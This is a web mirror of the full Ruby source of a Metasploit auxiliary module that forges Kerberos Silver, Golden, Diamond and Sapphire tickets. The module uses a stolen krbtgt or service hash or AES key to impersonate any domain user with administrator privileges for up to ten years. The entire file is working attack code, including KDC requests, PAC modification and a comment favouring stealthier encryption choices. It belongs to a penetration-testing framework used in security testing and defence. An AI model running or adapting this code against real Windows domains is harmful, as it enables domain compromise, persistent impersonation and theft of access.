Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/kerberos/forge_ticket.rb
32442 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::Kerberos::Client
9
include Msf::Exploit::Remote::Kerberos::Ticket
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Kerberos Silver/Golden/Diamond/Sapphire Ticket Forging',
16
'Description' => %q{
17
This module forges a Kerberos ticket. Four different techniques can be used:
18
- Silver ticket: Using a service account hash, craft a ticket impersonating any user and privileges to that account.
19
- Golden ticket: Using the krbtgt hash, craft a ticket impersonating any user and privileges.
20
- Diamond ticket: Authenticate to the domain controller, and using the krbtgt hash, copy the PAC from the authenticated user to a forged ticket.
21
- Sapphire ticket: Use the S4U2Self+U2U trick to retrieve the PAC of another user, then use the krbtgt hash to craft a forged ticket.
22
},
23
'Author' => [
24
'Benjamin Delpy', # Original Implementation
25
'Dean Welch', # Metasploit Module
26
'alanfoster', # Enhancements
27
'smashery' # Enhancements
28
],
29
'References' => [
30
['URL', 'https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it'],
31
['ATT&CK', Mitre::Attack::Technique::T1558_001_GOLDEN_TICKET],
32
['ATT&CK', Mitre::Attack::Technique::T1558_002_SILVER_TICKET]
33
],
34
'License' => MSF_LICENSE,
35
'Notes' => {
36
'Stability' => [CRASH_SAFE],
37
'SideEffects' => [IOC_IN_LOGS],
38
'Reliability' => [],
39
'AKA' => ['Ticketer', 'Klist']
40
},
41
'Actions' => [
42
['FORGE_SILVER', { 'Description' => 'Forge a Silver Ticket' } ],
43
['FORGE_GOLDEN', { 'Description' => 'Forge a Golden Ticket' } ],
44
['FORGE_DIAMOND', { 'Description' => 'Forge a Diamond Ticket' } ],
45
['FORGE_SAPPHIRE', { 'Description' => 'Forge a Sapphire Ticket' } ],
46
],
47
'DefaultAction' => 'FORGE_SILVER'
48
)
49
)
50
51
based_on_real_ticket_condition = ['ACTION', 'in', %w[FORGE_DIAMOND FORGE_SAPPHIRE]]
52
forged_manually_condition = ['ACTION', 'in', %w[FORGE_SILVER FORGE_GOLDEN]]
53
54
register_options(
55
[
56
OptString.new('USER', [ true, 'The Domain User to forge the ticket for' ]),
57
OptInt.new('USER_RID', [ true, "The Domain User's relative identifier (RID)", Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID], conditions: ['ACTION', 'in', %w[FORGE_SILVER FORGE_GOLDEN FORGE_DIAMOND]]),
58
OptString.new('NTHASH', [ false, 'The krbtgt/service nthash' ]),
59
OptString.new('AES_KEY', [ false, 'The krbtgt/service AES key' ]),
60
OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]),
61
OptString.new('DOMAIN_SID', [ false, 'The Domain SID, Ex: S-1-5-21-1755879683-3641577184-3486455962'], conditions: forged_manually_condition),
62
OptString.new('EXTRA_SIDS', [ false, 'Extra sids separated by commas, Ex: S-1-5-21-1755879683-3641577184-3486455962-519']),
63
OptString.new('SPN', [ false, 'The Service Principal Name (Only used for silver ticket)'], conditions: %w[ACTION == FORGE_SILVER]),
64
OptInt.new('DURATION', [ false, 'Duration of the ticket in days', 3650], conditions: forged_manually_condition),
65
OptString.new('REQUEST_USER', [false, 'The user to request a ticket for, to base the forged ticket on'], conditions: based_on_real_ticket_condition),
66
OptString.new('REQUEST_PASSWORD', [false, "The user's password, used to retrieve a base ticket"], conditions: based_on_real_ticket_condition),
67
OptAddress.new('RHOSTS', [false, 'The address of the KDC' ], conditions: based_on_real_ticket_condition),
68
OptInt.new('RPORT', [false, "The KDC server's port", 88 ], conditions: based_on_real_ticket_condition),
69
OptInt.new('Timeout', [false, 'The TCP timeout to establish Kerberos connection and read data', 10], conditions: based_on_real_ticket_condition),
70
]
71
)
72
73
register_advanced_options(
74
[
75
OptString.new('SessionKey', [ false, 'The session key, if not set - one will be generated' ], conditions: forged_manually_condition),
76
OptBool.new('IncludeTicketChecksum', [ false, 'Adds the Ticket Checksum to the PAC', false], conditions: forged_manually_condition)
77
]
78
)
79
end
80
81
SECS_IN_DAY = 60 * 60 * 24
82
83
def run
84
case action.name
85
when 'FORGE_SILVER'
86
forge_silver
87
when 'FORGE_GOLDEN'
88
forge_golden
89
when 'FORGE_DIAMOND'
90
forge_diamond
91
when 'FORGE_SAPPHIRE'
92
forge_sapphire
93
else
94
fail_with(Msf::Module::Failure::BadConfig, "Invalid action #{action.name}")
95
end
96
end
97
98
private
99
100
def forge_ccache(sname:, flags:, is_golden:)
101
enc_key, enc_type = get_enc_key_and_type
102
103
start_time = Time.now.utc
104
end_time = start_time + SECS_IN_DAY * datastore['DURATION']
105
106
ccache = forge_ticket(
107
enc_key: enc_key,
108
enc_type: enc_type,
109
start_time: start_time,
110
end_time: end_time,
111
sname: sname,
112
flags: flags,
113
domain: datastore['DOMAIN'],
114
username: datastore['USER'],
115
user_id: datastore['USER_RID'],
116
domain_sid: datastore['DOMAIN_SID'],
117
extra_sids: extra_sids,
118
session_key: datastore['SessionKey'].blank? ? nil : datastore['SessionKey'].strip,
119
ticket_checksum: datastore['IncludeTicketChecksum'],
120
is_golden: is_golden
121
)
122
123
Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ccache, framework_module: self)
124
125
if datastore['VERBOSE']
126
print_ccache_contents(ccache, key: enc_key)
127
end
128
end
129
130
def forge_silver
131
validate_spn!
132
validate_sid!
133
validate_key!
134
sname = datastore['SPN'].split('/', 2)
135
flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgs_flags)
136
forge_ccache(sname: sname, flags: flags, is_golden: false)
137
end
138
139
def forge_golden
140
validate_sid!
141
validate_key!
142
sname = ['krbtgt', datastore['DOMAIN'].upcase]
143
flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgt_flags)
144
forge_ccache(sname: sname, flags: flags, is_golden: true)
145
end
146
147
def forge_diamond
148
validate_remote
149
validate_aes256_key!
150
151
begin
152
domain = datastore['DOMAIN']
153
options = {
154
server_name: "krbtgt/#{domain}",
155
client_name: datastore['REQUEST_USER'],
156
password: datastore['REQUEST_PASSWORD'],
157
realm: domain
158
}
159
enc_key, enc_type = get_enc_key_and_type
160
include_crypto_params(options, enc_key, enc_type)
161
162
tgt_result = send_request_tgt(**options)
163
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
164
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Requesting TGT failed: #{e.message}")
165
rescue Rex::HostUnreachable => e
166
fail_with(Msf::Exploit::Failure::Unreachable, "Requesting TGT failed: #{e.message}")
167
end
168
169
if tgt_result.krb_enc_key[:enctype] != enc_type
170
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Response has incorrect encryption type (#{tgt_result.krb_enc_key[:enctype]})")
171
end
172
173
begin
174
ticket = modify_ticket(tgt_result.as_rep.ticket, tgt_result.decrypted_part, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, enc_key, enc_type, enc_key, false)
175
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError
176
fail_with(Msf::Exploit::Failure::BadConfig, 'Failed to modify ticket. krbtgt key is likely incorrect')
177
end
178
Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])
179
180
if datastore['VERBOSE']
181
print_ccache_contents(ticket, key: enc_key)
182
end
183
end
184
185
def forge_sapphire
186
validate_remote
187
validate_key!
188
options = {}
189
enc_key, enc_type = get_enc_key_and_type
190
include_crypto_params(options, enc_key, enc_type)
191
192
begin
193
auth_context = kerberos_authenticator.authenticate_via_kdc(options)
194
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
195
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Error authenticating to KDC: #{e}")
196
rescue Rex::HostUnreachable => e
197
fail_with(Msf::Exploit::Failure::Unreachable, "Requesting TGT failed: #{e.message}")
198
end
199
credential = auth_context[:credential]
200
201
print_status("#{peer} - Using U2U to impersonate #{datastore['USER']}@#{datastore['DOMAIN']}")
202
203
session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
204
type: credential.keyblock.enctype.value,
205
value: credential.keyblock.data.value
206
)
207
208
begin
209
tgs_ticket, tgs_auth = kerberos_authenticator.u2uself(credential, impersonate: datastore['USER'])
210
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
211
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Error executing S4U2Self+U2U: #{e}")
212
rescue Rex::HostUnreachable => e
213
fail_with(Msf::Exploit::Failure::Unreachable, "Error executing S4U2Self+U2U: #{e.message}")
214
end
215
# Don't pass a user RID in: we'll retrieve it from the decrypted PAC
216
ticket = modify_ticket(tgs_ticket, tgs_auth, datastore['USER'], nil, datastore['DOMAIN'], extra_sids, session_key.value, enc_type, enc_key, true)
217
Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])
218
219
if datastore['VERBOSE']
220
print_ccache_contents(ticket, key: enc_key)
221
end
222
end
223
224
def validate_remote
225
if datastore['RHOSTS'].blank?
226
fail_with(Msf::Exploit::Failure::BadConfig, 'Must specify RHOSTS for sapphire and diamond tickets')
227
elsif datastore['REQUEST_USER'].blank?
228
fail_with(Msf::Exploit::Failure::BadConfig, 'Must specify REQUEST_USER for sapphire and diamond tickets')
229
end
230
end
231
232
def kerberos_authenticator
233
options = {
234
host: datastore['RHOST'],
235
realm: datastore['DOMAIN'],
236
timeout: datastore['TIMEOUT'],
237
username: datastore['REQUEST_USER'],
238
password: datastore['REQUEST_PASSWORD'],
239
framework: framework,
240
framework_module: self,
241
ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::None.new
242
}
243
244
Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)
245
end
246
247
def include_crypto_params(options, enc_key, enc_type)
248
options[:key] = enc_key
249
if enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256
250
# This should be the server's preferred encryption type, so we can just
251
# send our default types, expecting that to be selected. More stealthy this way.
252
options[:offered_etypes] = Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes
253
else
254
options[:offered_etypes] = [enc_type]
255
end
256
end
257
258
def get_enc_key_and_type
259
enc_type = nil
260
key = nil
261
if datastore['NTHASH']
262
enc_type = Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC
263
key = datastore['NTHASH']
264
elsif datastore['AES_KEY']
265
key = datastore['AES_KEY']
266
if datastore['AES_KEY'].size == 64
267
enc_type = Rex::Proto::Kerberos::Crypto::Encryption::AES256
268
else
269
enc_type = Rex::Proto::Kerberos::Crypto::Encryption::AES128
270
end
271
end
272
273
enc_key = key.nil? ? nil : [key].pack('H*')
274
[enc_key, enc_type]
275
end
276
277
def validate_spn!
278
unless datastore['SPN'] =~ %r{.*/.*}
279
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid SPN, must be in the format <service class>/<host><realm>:<port>/<service name>. Ex: cifs/host.realm.local')
280
end
281
end
282
283
def validate_sid!
284
unless datastore['DOMAIN_SID'] =~ /^S-1-[0-59]-\d{2}/
285
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid DOMAIN_SID. Ex: S-1-5-21-1266190811-2419310613-1856291569')
286
end
287
end
288
289
def validate_aes256_key!
290
unless datastore['NTHASH'].blank?
291
fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets (NTHASH is currently set)')
292
end
293
294
if datastore['AES_KEY'].blank?
295
fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets')
296
end
297
298
if datastore['AES_KEY'].size == 32
299
fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets (currently set to an AES128 key)')
300
end
301
302
if datastore['AES_KEY'].size != 64
303
fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets (incorrect length)')
304
end
305
end
306
307
def validate_key!
308
if datastore['NTHASH'].blank? && datastore['AES_KEY'].blank?
309
fail_with(Msf::Exploit::Failure::BadConfig, 'NTHASH or AES_KEY must be set for forging a ticket')
310
elsif datastore['NTHASH'].present? && datastore['AES_KEY'].present?
311
fail_with(Msf::Exploit::Failure::BadConfig, 'NTHASH and AES_KEY may not both be set for forging a ticket')
312
end
313
314
if datastore['NTHASH'].present? && datastore['NTHASH'].size != 32
315
fail_with(Msf::Exploit::Failure::BadConfig, "NTHASH length was #{datastore['NTHASH'].size} should be 32")
316
end
317
318
if datastore['AES_KEY'].present? && datastore['AES_KEY'].size != 32 && datastore['AES_KEY'].size != 64
319
fail_with(Msf::Exploit::Failure::BadConfig, "AES key length was #{datastore['AES_KEY'].size} should be 32 or 64")
320
end
321
322
if datastore['NTHASH'].present?
323
print_warning('Warning: newer Windows systems may not accept tickets encrypted with RC4_HMAC (NT hash). Consider using AES.')
324
end
325
end
326
327
def extra_sids
328
(datastore['EXTRA_SIDS'] || '').split(',').map(&:strip).reject(&:blank?)
329
end
330
end
331
332